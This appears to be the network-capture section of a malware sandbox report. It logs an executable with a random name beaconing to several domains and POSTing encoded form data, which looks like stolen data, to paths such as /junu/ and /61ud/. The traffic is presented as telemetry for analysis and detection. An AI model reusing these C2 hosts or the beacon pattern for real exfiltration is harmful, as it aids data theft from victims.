                                    Sep 13, 2024 19:31:09.042474031 CEST471OUTGET /f16b/?RBEDm=CZp0JDSHidn4fXc&4N=yRqtf/h8NNWEJSRTjADVftGKWfUTDrEQ2z3S1p+uVNu5nTwP64DUcjBPfEhLfjmAIKSCpSnh7hZpBoBKzMqWV4LbWGVJDdFJlhrrMZ3qGPbmIdEufojbbKI= HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Language: en-US,en
                                    Host: www.weatherbook.live
                                    Connection: close
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Sep 13, 2024 19:31:09.494031906 CEST400INHTTP/1.1 200 OK
                                    Server: openresty
                                    Date: Fri, 13 Sep 2024 17:31:09 GMT
                                    Content-Type: text/html
                                    Content-Length: 260
                                    Connection: close
                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 52 42 45 44 6d 3d 43 5a 70 30 4a 44 53 48 69 64 6e 34 66 58 63 26 34 4e 3d 79 52 71 74 66 2f 68 38 4e 4e 57 45 4a 53 52 54 6a 41 44 56 66 74 47 4b 57 66 55 54 44 72 45 51 32 7a 33 53 31 70 2b 75 56 4e 75 35 6e 54 77 50 36 34 44 55 63 6a 42 50 66 45 68 4c 66 6a 6d 41 49 4b 53 43 70 53 6e 68 37 68 5a 70 42 6f 42 4b 7a 4d 71 57 56 34 4c 62 57 47 56 4a 44 64 46 4a 6c 68 72 72 4d 5a 33 71 47 50 62 6d 49 64 45 75 66 6f 6a 62 62 4b 49 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                    Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?RBEDm=CZp0JDSHidn4fXc&4N=yRqtf/h8NNWEJSRTjADVftGKWfUTDrEQ2z3S1p+uVNu5nTwP64DUcjBPfEhLfjmAIKSCpSnh7hZpBoBKzMqWV4LbWGVJDdFJlhrrMZ3qGPbmIdEufojbbKI="}</script></head></html>


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    9192.168.2.449746194.195.220.4180736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:31:14.702002048 CEST732OUTPOST /junu/ HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Encoding: gzip, deflate, br
                                    Accept-Language: en-US,en
                                    Host: www.gemtastic.shop
                                    Content-Length: 199
                                    Content-Type: application/x-www-form-urlencoded
                                    Cache-Control: max-age=0
                                    Connection: close
                                    Origin: http://www.gemtastic.shop
                                    Referer: http://www.gemtastic.shop/junu/
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Data Raw: 34 4e 3d 34 31 68 31 50 2b 45 55 49 73 6d 6b 48 52 37 43 47 39 4b 6f 4d 39 38 49 35 53 74 74 32 45 6a 2f 52 42 52 37 61 74 37 6e 73 6e 6c 77 2f 2f 65 30 4c 34 4f 4b 62 70 56 43 75 4e 49 4d 54 44 68 6d 6f 4a 50 50 49 38 33 50 6b 77 7a 7a 30 32 39 4f 78 4e 45 62 55 63 70 64 31 53 6c 78 7a 4d 64 4f 39 70 2f 46 4a 34 63 4e 4e 4c 76 2f 6a 51 62 74 6f 61 37 41 46 6a 79 52 73 2b 6e 64 79 52 53 54 43 4f 38 52 39 38 41 4d 44 6e 5a 51 54 54 4a 65 30 4a 73 45 73 6c 73 6d 62 4d 76 6b 51 50 55 6b 57 68 4b 4a 75 58 73 6e 57 61 2f 33 42 64 55 4e 6e 34 74 32 79 50 38 2b 74 58 67 52 78 38 69 5a 67 77 3d 3d
                                    Data Ascii: 4N=41h1P+EUIsmkHR7CG9KoM98I5Stt2Ej/RBR7at7nsnlw//e0L4OKbpVCuNIMTDhmoJPPI83Pkwzz029OxNEbUcpd1SlxzMdO9p/FJ4cNNLv/jQbtoa7AFjyRs+ndyRSTCO8R98AMDnZQTTJe0JsEslsmbMvkQPUkWhKJuXsnWa/3BdUNn4t2yP8+tXgRx8iZgw==
                                    Sep 13, 2024 19:31:15.227175951 CEST809INHTTP/1.1 200 OK
                                    Server: openresty/1.13.6.1
                                    Date: Fri, 13 Sep 2024 17:31:15 GMT
                                    Content-Type: text/html
                                    Transfer-Encoding: chunked
                                    Connection: close
                                    Content-Encoding: gzip
                                    Data Raw: 32 36 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 73 9b 30 10 bd e7 57 50 0e 99 76 a6 36 18 c7 c6 69 20 9d c4 89 09 1e 62 67 5c a7 01 5f 32 42 52 8c 5c 21 11 10 c8 b8 d3 ff 5e 0c 19 9b 36 3d 54 07 49 bb da af f7 56 92 f5 e1 66 3e 5e 06 0f b7 4a 24 62 7a 79 62 ed 17 85 02 b6 b6 55 cc d4 cb 13 a5 1a 56 84 01 6a b6 b5 18 63 01 14 18 81 34 c3 c2 56 1f 97 93 ce e8 cd f2 78 1c 09 91 74 f0 6b 4e 0a 5b dd 76 72 d0 81 3c 4e 80 20 21 c5 aa 02 39 13 98 55 be ee ad 8d d1 1a bf f3 66 20 c6 b6 5a 10 2c 13 9e 8a 96 83 24 48 44 36 c2 05 81 b8 53 0b 9f 15 c2 88 20 80 76 32 08 28 b6 7b 5d bd 1d 4e 10 41 f1 a5 a5 35 6b 0d a7 2e 92 f1 0c a6 24 11 47 58 ff ae 3d c5 2f 29 ce a2 56 09 fa 45 9e 52 7b 8f ef 8b a6 49 29 4d bd bb c6 b1 00 99 20 b0 9b 45 3c d1 54 45 3b 86 b5 b4 f7 a9 ac 9a c1 36 45 ef d3 0c fe 3f 8d a5 1d 1b 64 85 1c 95 0a 67 94 03 64 ab 88 3f 37 db 8f 9f da a4 34 d0 15 51 26 15 cb 02 6f 85 b6 01 05 68 b4 2d bb 3d 23 2f 39 83 82 70 a6 b4 42 29 3f 0f 3c ee 4d f6 43 12 86 b8 ec 0a 9e 74 29 87 55 9f 39 eb 46 [TRUNCATED]
                                    Data Ascii: 269TMs0WPv6i bg\_2BR\!^6=TIVf>^J$bzybUVjc4VxtkN[vr<N !9Uf Z,$HD6S v2({]NA5k.$GX=/)VER{I)M E<TE;6E?dgd?74Q&oh-=#/9pB)?<MCt)U9F(V#UYuMVMyN3q6i9\D8}:q9+I/d_2XCw2+J!-G}/F4/s.b.k7lDW_>,eM/8+SS2Hl<oayW&\?M|2Z#A<}zZWy83fq@Qxx5untA~~0


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    10192.168.2.449747194.195.220.4180736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:31:17.254498005 CEST752OUTPOST /junu/ HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Encoding: gzip, deflate, br
                                    Accept-Language: en-US,en
                                    Host: www.gemtastic.shop
                                    Content-Length: 219
                                    Content-Type: application/x-www-form-urlencoded
                                    Cache-Control: max-age=0
                                    Connection: close
                                    Origin: http://www.gemtastic.shop
                                    Referer: http://www.gemtastic.shop/junu/
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Data Raw: 34 4e 3d 34 31 68 31 50 2b 45 55 49 73 6d 6b 48 77 4c 43 45 65 53 6f 4a 64 38 48 31 79 74 74 74 55 6a 37 52 42 56 37 61 6f 44 33 73 79 56 77 2f 65 43 30 4b 35 4f 4b 49 5a 56 43 6c 74 49 44 64 6a 68 39 6f 49 7a 68 49 2b 7a 50 6b 32 66 7a 30 30 31 4f 78 63 45 45 4f 73 70 62 34 79 6c 7a 33 4d 64 4f 39 70 2f 46 4a 34 49 6e 4e 4c 33 2f 6a 41 4c 74 6f 34 54 44 4c 44 79 57 74 2b 6e 64 6c 42 53 66 43 4f 38 2f 39 35 67 31 44 6c 78 51 54 52 52 65 33 62 46 53 6e 6c 73 73 66 4d 75 74 44 62 4e 77 57 41 48 6b 6d 6c 41 56 59 62 7a 63 4a 37 46 58 32 4a 4d 68 67 50 59 4e 77 51 70 6c 38 2f 66 51 37 30 4f 74 39 39 67 79 48 76 50 52 48 45 69 2b 2b 42 52 74 30 63 67 3d
                                    Data Ascii: 4N=41h1P+EUIsmkHwLCEeSoJd8H1ytttUj7RBV7aoD3syVw/eC0K5OKIZVCltIDdjh9oIzhI+zPk2fz001OxcEEOspb4ylz3MdO9p/FJ4InNL3/jALto4TDLDyWt+ndlBSfCO8/95g1DlxQTRRe3bFSnlssfMutDbNwWAHkmlAVYbzcJ7FX2JMhgPYNwQpl8/fQ70Ot99gyHvPRHEi++BRt0cg=
                                    Sep 13, 2024 19:31:17.766331911 CEST809INHTTP/1.1 200 OK
                                    Server: openresty/1.13.6.1
                                    Date: Fri, 13 Sep 2024 17:31:17 GMT
                                    Content-Type: text/html
                                    Transfer-Encoding: chunked
                                    Connection: close
                                    Content-Encoding: gzip
                                    Data Raw: 32 36 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 73 9b 30 10 bd e7 57 50 0e 99 76 a6 06 8c 1d 3b 6e 20 9d c4 89 09 1e 62 67 5c a7 01 5f 32 42 52 8c 5c 21 11 10 c8 b8 d3 ff 5e 0c 19 9b 36 3d 54 07 49 bb da af f7 56 92 f5 e1 66 3e 5e 06 0f b7 4a 24 62 7a 79 62 ed 17 85 02 b6 b6 55 cc d4 cb 13 a5 1a 56 84 01 6a b6 b5 18 63 01 14 18 81 34 c3 c2 56 1f 97 93 ce f9 9b e5 f1 38 12 22 e9 e0 d7 9c 14 b6 ba ed e4 a0 03 79 9c 00 41 42 8a 55 05 72 26 30 ab 7c dd 5b 1b a3 35 7e e7 cd 40 8c 6d b5 20 58 26 3c 15 2d 07 49 90 88 6c 84 0b 02 71 a7 16 3e 2b 84 11 41 00 ed 64 10 50 6c 77 35 a3 1d 4e 10 41 f1 a5 a5 37 6b 0d a7 2e 92 f1 0c a6 24 11 47 58 ff ae 3d c5 2f 29 ce a2 56 09 c6 45 9e 52 7b 8f ef 8b ae 4b 29 87 86 b6 c6 b1 00 99 20 50 cb 22 9e e8 aa a2 1f c3 5a fa fb 54 56 cd 60 9b a2 f7 69 ce fe 3f 8d a5 1f 1b 64 85 1c 95 0a 67 94 03 64 ab 88 3f 37 db 8f 9f da a4 34 d0 15 51 26 15 cb 02 6f 85 be 01 05 68 b4 2d bb 3d 23 2f 39 83 82 70 a6 b4 42 29 3f 0f 3c ee 4d f6 43 12 86 b8 d4 04 4f 34 ca 61 d5 67 ce b4 a8 [TRUNCATED]
                                    Data Ascii: 269TMs0WPv;n bg\_2BR\!^6=TIVf>^J$bzybUVjc4V8"yABUr&0|[5~@m X&<-Ilq>+AdPlw5NA7k.$GX=/)VER{K) P"ZTV`i?dgd?74Q&oh-=#/9pB)?<MCO4agzo69{)Cs`6v?Npufr2'W3n7"?eteWBM9[99/P_DHl|UDxk_cGgFF$C7HB_`f3&91(zoayWC4Y5"}eUF0Fy}zZWy83gq@Qxx5uatA~~Il0


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    11192.168.2.449748194.195.220.4180736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:31:19.802063942 CEST10834OUTPOST /junu/ HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Encoding: gzip, deflate, br
                                    Accept-Language: en-US,en
                                    Host: www.gemtastic.shop
                                    Content-Length: 10299
                                    Content-Type: application/x-www-form-urlencoded
                                    Cache-Control: max-age=0
                                    Connection: close
                                    Origin: http://www.gemtastic.shop
                                    Referer: http://www.gemtastic.shop/junu/
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Data Raw: 34 4e 3d 34 31 68 31 50 2b 45 55 49 73 6d 6b 48 77 4c 43 45 65 53 6f 4a 64 38 48 31 79 74 74 74 55 6a 37 52 42 56 37 61 6f 44 33 73 7a 42 77 2f 73 4b 30 4c 61 6d 4b 4c 5a 56 43 6d 74 49 41 64 6a 67 2f 6f 49 72 74 49 2b 75 36 6b 7a 44 7a 31 57 4e 4f 6c 2b 38 45 62 38 70 62 6e 69 6c 79 7a 4d 64 68 39 70 76 4a 4a 34 59 6e 4e 4c 33 2f 6a 43 6a 74 38 36 37 44 4a 44 79 52 73 2b 6d 53 79 52 53 37 43 49 56 43 39 35 6b 36 44 56 52 51 54 79 70 65 31 6f 74 53 6b 46 73 69 59 4d 75 31 44 65 56 47 57 45 6e 47 6d 68 42 49 59 62 33 63 4b 36 39 4e 71 71 6f 4e 39 64 45 72 6b 44 52 6b 7a 59 72 4a 2b 45 4f 74 73 63 73 70 48 73 57 79 46 6e 48 50 6b 54 6f 6f 32 37 38 30 74 51 31 47 72 30 42 6e 68 76 49 2b 30 53 52 47 65 66 47 53 41 32 41 2f 6c 59 70 36 4f 36 34 75 42 47 72 33 50 66 35 6a 77 31 46 79 74 35 7a 69 4f 6a 45 4c 4f 4d 4f 46 47 76 74 33 56 4a 2b 41 44 53 76 49 69 57 55 73 51 6d 6a 79 33 42 71 4f 77 4c 30 49 4e 42 52 64 65 49 46 6b 69 6d 61 56 5a 48 61 67 6b 77 45 71 6f 41 44 36 67 69 64 65 76 67 69 55 6d 34 6c [TRUNCATED]
                                    Data Ascii: 4N=41h1P+EUIsmkHwLCEeSoJd8H1ytttUj7RBV7aoD3szBw/sK0LamKLZVCmtIAdjg/oIrtI+u6kzDz1WNOl+8Eb8pbnilyzMdh9pvJJ4YnNL3/jCjt867DJDyRs+mSyRS7CIVC95k6DVRQType1otSkFsiYMu1DeVGWEnGmhBIYb3cK69NqqoN9dErkDRkzYrJ+EOtscspHsWyFnHPkToo2780tQ1Gr0BnhvI+0SRGefGSA2A/lYp6O64uBGr3Pf5jw1Fyt5ziOjELOMOFGvt3VJ+ADSvIiWUsQmjy3BqOwL0INBRdeIFkimaVZHagkwEqoAD6gidevgiUm4lSpl83uSY7SIfv1o6QCLPJWy/RKFn1FND7lrfF04Su8Z/owU5EIwXLRHgh+oQnUEIeeAjQ/M7LcenJ0YDLBZD6NgHYW2qvQzCNL6AoTz1MRw9a6DgNQGVFxo244LoFdIKvmIoLUfOGI1lg8xXhr7njxWiW5TxMDmShkaYcapXjwvBcxeoImQ4pfyv58P2h1J7Dyj8AlR3pt3OmBTprKGBS+7SscWTaetaWWukamx0DrCB8/qkD9pI/eFsVHUi6KzkPEu4uZdcb7BMGWhJ3tqvdV4s2RhrXDzp5Qsg6Adpjb5sMCJWoE9Mr2Lze5HTIjSgc8swIq88V3uCnkD767UtZypwHSevqu1NJGaSlrgwshfDHVdcszysy/OmPh7rn+w3VVb/fka11tzVtsaIu7QTih4Fj4gckoJ+4fWqHeLUd6+b3pZvrqNH+P4mbx4uqYHaKVNff5lFofGhfD4UI7HIhqQ+SWfxVAs3Icx7HXIwnK34VNP4DwLJ2sDKIPli0uBF5sgTrSfl9HCPQR+fVYKYxEhfxBDVhLwsK4mkU1eESEd25d1735AbsWeNGDXYStmS44U5xaJ2YGHYP0ypUiHrBUIqCK4+/212T9na9jhYFpKoFYH98oq+iwf5bDxAg/jf/0Rio5DTsORyx2QnAmkUb9vVGazQ2+rjwB [TRUNCATED]
                                    Sep 13, 2024 19:31:20.330193996 CEST200INHTTP/1.1 200 OK
                                    Server: openresty/1.13.6.1
                                    Date: Fri, 13 Sep 2024 17:31:20 GMT
                                    Content-Type: text/html
                                    Transfer-Encoding: chunked
                                    Connection: close
                                    Content-Encoding: gzip
                                    Data Raw: 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 0d 0a
                                    Data Ascii: f


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    12192.168.2.449749194.195.220.4180736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:31:22.347075939 CEST469OUTGET /junu/?4N=13JVMLJJH+qIBC3bKO+NOYsZ+zFZu1zvRFVHRIKX7SkP/tydC7ina607qstATGZ/7IHAI/6FpDeM8WkxnZQaP/hPkjdRncE64pLZQJxXMJS4z1rdgqbrJyk=&RBEDm=CZp0JDSHidn4fXc HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Language: en-US,en
                                    Host: www.gemtastic.shop
                                    Connection: close
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Sep 13, 2024 19:31:22.866010904 CEST1236INHTTP/1.1 200 OK
                                    Server: openresty/1.13.6.1
                                    Date: Fri, 13 Sep 2024 17:31:22 GMT
                                    Content-Type: text/html
                                    Transfer-Encoding: chunked
                                    Connection: close
                                    Data Raw: 34 62 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 3a 2f 2f 77 77 77 37 30 2e 67 65 6d 74 61 73 74 [TRUNCATED]
                                    Data Ascii: 4b1<!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="x-ua-compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title></title> <noscript> <meta http-equiv="refresh" content="0;url=http://www70.gemtastic.shop/" /> </noscript> <meta http-equiv="refresh" content="5;url=http://www70.gemtastic.shop/" /> </head> <body onload="do_onload()"> <script type="text/javascript"> function do_onload() { window.top.location.href = "http://www.gemtastic.shop/junu?gp=1&js=1&uuid=1726248682.9783899546&other_args=eyJ1cmkiOiAiL2p1bnUiLCAiYXJncyI6ICI0Tj0xM0pWTUxKSkgrcUlCQzNiS08rTk9Zc1orekZadTF6dlJGVkhSSUtYN1NrUC90eWRDN2luYTYwN3FzdEFUR1ovN0lIQUkvNkZwRGVNOFdreG5aUWFQL2hQa2pkUm5jRTY0cExaUUp4WE1KUzR6MXJkZ3Fickp5az0mUkJFRG09Q1pwMEpEU0hpZG40ZlhjIiwgInJlZmVyZXIiOiAiIiwgImFjY2VwdCI6ICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxp [TRUNCATED]
                                    Sep 13, 2024 19:31:22.866051912 CEST133INData Raw: 58 32 4d 69 4f 69 41 69 5a 57 52 6c 59 53 49 73 49 43 4a 79 5a 57 5a 6c 63 6d 56 79 58 32 4d 69 4f 69 41 69 5a 54 64 6a 4f 43 49 73 49 43 4a 68 59 32 4e 6c 63 48 52 66 59 79 49 36 49 43 49 78 4e 6a 42 6c 49 6e 30 3d 22 3b 0a 20 20 20 20 20 20 20
                                    Data Ascii: X2MiOiAiZWRlYSIsICJyZWZlcmVyX2MiOiAiZTdjOCIsICJhY2NlcHRfYyI6ICIxNjBlIn0="; } </script> </body></html>0


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    13192.168.2.44975015.197.225.12880736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:31:27.939640045 CEST744OUTPOST /61ud/ HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Encoding: gzip, deflate, br
                                    Accept-Language: en-US,en
                                    Host: www.airbatchnow.online
                                    Content-Length: 199
                                    Content-Type: application/x-www-form-urlencoded
                                    Cache-Control: max-age=0
                                    Connection: close
                                    Origin: http://www.airbatchnow.online
                                    Referer: http://www.airbatchnow.online/61ud/
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Data Raw: 34 4e 3d 37 42 70 6e 59 30 68 34 2f 74 75 53 61 4d 72 6e 4c 52 76 61 75 72 36 4c 4b 39 56 48 2b 76 51 79 54 52 74 33 74 38 30 38 57 6e 32 73 79 6b 58 52 2b 5a 35 55 6e 33 79 41 49 6f 57 73 30 41 41 6c 32 6c 45 72 76 59 51 62 4c 46 77 36 38 31 47 46 56 52 4b 62 70 58 71 55 70 69 38 42 4f 50 70 78 72 75 52 59 35 36 47 44 77 4d 72 4d 6e 5a 5a 5a 7a 79 35 41 43 79 30 5a 6a 67 67 41 33 73 4d 67 6b 57 73 48 46 44 79 63 41 6c 6a 44 6a 32 58 58 63 6c 34 66 2f 53 68 7a 65 32 57 5a 46 33 55 43 64 5a 46 78 4b 6c 32 43 64 52 55 47 76 71 4b 35 53 53 52 4c 79 4b 4a 36 49 2f 2b 46 71 4a 34 4b 5a 77 3d 3d
                                    Data Ascii: 4N=7BpnY0h4/tuSaMrnLRvaur6LK9VH+vQyTRt3t808Wn2sykXR+Z5Un3yAIoWs0AAl2lErvYQbLFw681GFVRKbpXqUpi8BOPpxruRY56GDwMrMnZZZzy5ACy0ZjggA3sMgkWsHFDycAljDj2XXcl4f/Shze2WZF3UCdZFxKl2CdRUGvqK5SSRLyKJ6I/+FqJ4KZw==
                                    Sep 13, 2024 19:31:28.387847900 CEST135INHTTP/1.1 405 Not Allowed
                                    Server: awselb/2.0
                                    Date: Fri, 13 Sep 2024 17:31:28 GMT
                                    Content-Length: 0
                                    Connection: close
                                    WAFRule: 0


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    14192.168.2.44975115.197.225.12880736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:31:30.486998081 CEST764OUTPOST /61ud/ HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Encoding: gzip, deflate, br
                                    Accept-Language: en-US,en
                                    Host: www.airbatchnow.online
                                    Content-Length: 219
                                    Content-Type: application/x-www-form-urlencoded
                                    Cache-Control: max-age=0
                                    Connection: close
                                    Origin: http://www.airbatchnow.online
                                    Referer: http://www.airbatchnow.online/61ud/
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Data Raw: 34 4e 3d 37 42 70 6e 59 30 68 34 2f 74 75 53 59 73 62 6e 59 69 33 61 35 37 36 49 46 64 56 48 6e 2f 52 31 54 51 52 33 74 39 68 35 57 56 43 73 33 78 72 52 2f 63 4e 55 6d 33 79 41 64 59 57 54 37 67 42 72 32 6c 41 6a 76 63 51 62 4c 46 30 36 38 33 75 46 57 6d 66 4e 72 48 71 57 77 79 38 44 54 66 70 78 72 75 52 59 35 36 69 70 77 4d 6a 4d 6e 70 46 5a 38 7a 35 44 4b 53 30 61 72 41 67 41 67 38 4d 6b 6b 57 74 69 46 48 37 7a 41 6d 62 44 6a 33 48 58 4e 58 51 41 78 53 68 31 51 57 58 49 4a 48 39 62 66 73 6b 61 42 6e 66 6c 65 52 74 6b 71 73 62 6a 44 6a 77 63 67 4b 74 4a 56 34 33 78 6e 4b 46 44 43 77 51 33 79 43 73 45 33 58 46 47 6e 42 65 73 39 36 31 43 49 34 59 3d
                                    Data Ascii: 4N=7BpnY0h4/tuSYsbnYi3a576IFdVHn/R1TQR3t9h5WVCs3xrR/cNUm3yAdYWT7gBr2lAjvcQbLF0683uFWmfNrHqWwy8DTfpxruRY56ipwMjMnpFZ8z5DKS0arAgAg8MkkWtiFH7zAmbDj3HXNXQAxSh1QWXIJH9bfskaBnfleRtkqsbjDjwcgKtJV43xnKFDCwQ3yCsE3XFGnBes961CI4Y=
                                    Sep 13, 2024 19:31:31.082367897 CEST135INHTTP/1.1 405 Not Allowed
                                    Server: awselb/2.0
                                    Date: Fri, 13 Sep 2024 17:31:30 GMT
                                    Content-Length: 0
                                    Connection: close
                                    WAFRule: 0


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    15192.168.2.44975215.197.225.12880736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:31:33.040107012 CEST10846OUTPOST /61ud/ HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Encoding: gzip, deflate, br
                                    Accept-Language: en-US,en
                                    Host: www.airbatchnow.online
                                    Content-Length: 10299
                                    Content-Type: application/x-www-form-urlencoded
                                    Cache-Control: max-age=0
                                    Connection: close
                                    Origin: http://www.airbatchnow.online
                                    Referer: http://www.airbatchnow.online/61ud/
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Data Raw: 34 4e 3d 37 42 70 6e 59 30 68 34 2f 74 75 53 59 73 62 6e 59 69 33 61 35 37 36 49 46 64 56 48 6e 2f 52 31 54 51 52 33 74 39 68 35 57 56 36 73 33 6b 6e 52 2b 37 68 55 30 48 79 41 63 59 57 6f 37 67 42 6d 32 68 6b 6e 76 64 73 4c 4c 48 38 36 39 57 4f 46 64 30 6e 4e 69 48 71 57 2f 53 38 4f 4f 50 70 6f 72 75 42 63 35 36 53 70 77 4d 6a 4d 6e 72 78 5a 37 69 35 44 4d 53 30 5a 6a 67 68 42 33 73 4d 59 6b 57 30 66 46 48 2f 5a 41 58 37 44 6a 58 33 58 50 43 4d 41 75 69 68 33 58 57 58 51 4a 48 68 2b 66 6f 4d 38 42 6e 47 43 65 53 78 6b 6f 71 57 2f 48 51 74 4c 30 36 31 59 49 62 4c 48 6f 71 42 32 64 6a 6b 4c 36 67 55 42 73 6d 74 31 68 77 4f 70 6d 59 31 6e 57 65 59 63 51 54 76 74 30 48 54 34 51 45 45 63 74 38 67 4c 34 67 66 50 5a 79 45 2f 31 66 35 43 6a 44 69 41 57 74 36 59 56 4f 54 54 4d 32 42 56 73 67 52 64 30 35 52 62 48 49 72 42 54 39 6b 31 43 44 34 4f 76 4f 38 57 75 67 72 38 32 35 65 52 74 2f 6f 4b 74 58 55 42 4d 58 72 53 6b 37 74 51 44 7a 54 30 34 4d 31 6e 41 70 30 53 41 38 42 7a 66 42 41 71 6b 70 49 65 61 43 45 [TRUNCATED]
